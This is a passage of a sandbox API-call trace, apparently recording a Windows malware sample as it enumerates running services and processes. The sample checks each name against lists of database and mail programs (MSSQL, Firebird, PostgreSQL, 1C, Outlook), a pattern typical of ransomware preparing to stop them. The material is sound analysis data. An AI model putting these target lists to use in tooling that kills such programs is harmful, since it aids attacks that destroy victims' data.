(lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0061.846] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0061.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0061.846] lstrlenW (lpString="RpcEptMapper") returned 12 [0061.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.846] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0061.846] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0061.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0061.846] lstrlenW (lpString="RpcSs") returned 5 [0061.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0061.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0061.846] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0061.846] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0061.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0061.846] lstrlenW (lpString="SamSs") returned 5 [0061.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0061.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0061.847] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0061.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0061.847] lstrlenW (lpString="Schedule") returned 8 [0061.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0061.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0061.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0061.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0061.847] lstrlenW (lpString="SENS") returned 4 [0061.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0061.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0061.847] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0061.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0061.847] lstrlenW (lpString="ShellHWDetection") returned 16 [0061.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.847] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0061.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0061.847] lstrlenW (lpString="Spooler") returned 7 [0061.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0061.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0061.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0061.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0061.847] lstrlenW (lpString="sppsvc") returned 6 [0061.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0061.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0061.847] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0061.847] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0061.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0061.847] lstrlenW (lpString="swprv") returned 5 [0061.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0061.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0061.848] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0061.848] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0061.848] lstrlenW (lpString="SysMain") returned 7 [0061.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0061.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0061.848] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0061.848] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0061.848] lstrlenW (lpString="Themes") returned 6 [0061.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0061.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0061.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0061.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0061.848] lstrlenW (lpString="TrkWks") returned 6 [0061.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0061.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0061.848] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0061.848] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0061.848] lstrlenW (lpString="UxSms") returned 5 [0061.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0061.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0061.848] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0061.848] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0061.848] lstrlenW (lpString="VSS") returned 3 [0061.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0061.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0061.848] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0061.848] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0061.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0061.848] lstrlenW (lpString="WdiServiceHost") returned 14 [0061.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.849] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0061.849] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0061.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0061.849] lstrlenW (lpString="WdiSystemHost") returned 13 [0061.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.849] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0061.849] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0061.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0061.849] lstrlenW (lpString="WinDefend") returned 9 [0061.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0061.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0061.849] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0061.849] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0061.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0061.849] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0061.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.849] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0061.849] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0061.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0061.849] lstrlenW (lpString="Winmgmt") returned 7 [0061.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0061.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0061.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0061.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0061.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0061.849] lstrlenW (lpString="wscsvc") returned 6 [0061.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0061.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0061.849] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0061.849] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0061.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0061.849] lstrlenW (lpString="wuauserv") returned 8 [0061.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0061.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0061.850] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0061.850] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0061.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0061.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37f6700 | out: hHeap=0x520000) returned 1 [0061.850] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x188 [0061.855] Process32FirstW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.855] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0061.856] lstrlenW (lpString="System") returned 6 [0061.856] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0061.856] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0061.856] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0061.856] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0061.856] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0061.857] lstrlenW (lpString="smss.exe") returned 8 [0061.857] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.857] lstrlenW (lpString="csrss.exe") returned 9 [0061.857] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0061.858] lstrlenW (lpString="wininit.exe") returned 11 [0061.858] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.858] lstrlenW (lpString="csrss.exe") returned 9 [0061.859] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0061.859] lstrlenW (lpString="winlogon.exe") returned 12 [0061.859] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0061.860] lstrlenW (lpString="services.exe") returned 12 [0061.860] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0061.860] lstrlenW (lpString="lsass.exe") returned 9 [0061.860] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0061.861] lstrlenW (lpString="lsm.exe") returned 7 [0061.861] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.861] lstrlenW (lpString="svchost.exe") returned 11 [0061.861] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.862] lstrlenW (lpString="svchost.exe") returned 11 [0061.862] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.862] lstrlenW (lpString="svchost.exe") returned 11 [0061.862] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.863] lstrlenW (lpString="svchost.exe") returned 11 [0061.863] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.863] lstrlenW (lpString="svchost.exe") returned 11 [0061.863] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0061.864] lstrlenW (lpString="audiodg.exe") returned 11 [0061.864] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.864] lstrlenW (lpString="svchost.exe") returned 11 [0061.864] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.865] lstrlenW (lpString="svchost.exe") returned 11 [0061.865] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0061.866] lstrlenW (lpString="dwm.exe") returned 7 [0061.866] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0061.866] lstrlenW (lpString="explorer.exe") returned 12 [0061.866] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0061.867] lstrlenW (lpString="spoolsv.exe") returned 11 [0061.867] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.867] lstrlenW (lpString="taskhost.exe") returned 12 [0061.867] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.868] lstrlenW (lpString="svchost.exe") returned 11 [0061.868] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0061.869] lstrlenW (lpString="taskeng.exe") returned 11 [0061.869] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.869] lstrlenW (lpString="taskhost.exe") returned 12 [0061.869] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.870] lstrlenW (lpString="svchost.exe") returned 11 [0061.870] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0061.870] lstrlenW (lpString="sppsvc.exe") returned 10 [0061.870] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.871] lstrlenW (lpString="svchost.exe") returned 11 [0061.871] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0061.871] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0061.871] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0062.293] lstrlenW (lpString="smsvhskate.exe") returned 14 [0062.293] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0062.294] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0062.294] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0062.294] lstrlenW (lpString="patient latin.exe") returned 17 [0062.294] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0062.295] lstrlenW (lpString="barbados.exe") returned 12 [0062.295] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0062.295] lstrlenW (lpString="otthose.exe") returned 11 [0062.295] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0062.296] lstrlenW (lpString="suburban.exe") returned 12 [0062.296] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0062.296] lstrlenW (lpString="examination.exe") returned 15 [0062.297] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0062.297] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0062.297] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0062.298] lstrlenW (lpString="madrid.exe") returned 10 [0062.298] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0062.298] lstrlenW (lpString="measurerush.exe") returned 15 [0062.298] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0062.299] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0062.299] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0062.299] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0062.299] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0062.300] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0062.300] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0062.300] lstrlenW (lpString="jessefun.exe") returned 12 [0062.300] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 